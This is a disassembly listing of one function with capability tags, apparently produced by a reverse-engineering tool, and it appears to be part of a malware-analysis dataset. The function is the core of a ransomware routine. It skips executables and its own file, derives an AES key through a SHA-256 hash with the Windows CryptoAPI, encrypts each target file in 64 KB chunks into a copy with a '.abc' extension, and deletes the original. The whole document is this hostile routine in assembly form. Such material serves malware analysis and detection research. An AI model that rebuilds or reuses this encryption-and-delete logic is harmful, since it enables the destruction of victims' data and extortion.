Function at 0x401170
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x2022c
call fcn.00403040
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x20228], eax
mov eax, dword [esp + 0x20230]
push ebx
push ebp
mov dword [esp + 0x18], eax
mov ebp, edx
push 0x104
lea eax, [esp + 0x120]
mov ebx, ecx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str..exe
push ebx
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x4013bf
lea eax, [esp + 0x11c]
push eax
push ebx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
je 0x4013bf
push esi
push edi
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push 0x406278
push ebx
call edi
mov esi, eax
add esp, 8
test esi, esi
je 0x4013bd
push ebx
push str._s.abc
lea eax, [esp + 0x2c]
push 0x100
push eax
call fcn.004010c0
lea eax, [esp + 0x34]
push 0x40626c
push eax
call edi
mov edi, eax
add esp, 0x18
test edi, edi
jne 0x401235
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
jmp 0x4013bd
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4013ec
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
push 0
test eax, eax
je 0x4013e2
push 0x20
push ebp
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x4012c8
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
call esi
push edi
call esi
add esp, 8
jmp 0x4013bd
lea eax, [esp + 0x18]
push eax
push 0
push dword [esp + 0x1c]
push 0x6610
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
push dword [esp + 0x14]
test eax, eax
je 0x4012a2
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [esp + 0x24]
push 1
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x4013d6
mov ebp, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
lea eax, [esp + 0x228]
push esi
push 0x10000
push 1
push eax
call ebp
add esp, 0x10
test eax, eax
je 0x401391
nop dword [eax]
push esi
mov dword [esp + 0x20], eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
add esp, 4
lea ecx, [esp + 0x1c]
push 0x10010
push ecx
lea ecx, [esp + 0x10230]
push ecx
push 0
push eax
push 0
push dword [esp + 0x30]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x4013d6
push edi
push dword [esp + 0x20]
lea eax, [esp + 0x10230]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
push 0x10000
lea eax, [esp + 0x240]
push 1
push eax
call ebp
add esp, 0x20
test eax, eax
jne 0x401330
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
call esi
push edi
call esi
push ebx
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0xc
pop edi
pop esi
mov ecx, dword [esp + 0x20230]
pop ebp
pop ebx
xor ecx, esp
call fcn.00402269
add esp, 0x2022c
ret
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
call esi
push edi
call esi
add esp, 8
jmp 0x4013bd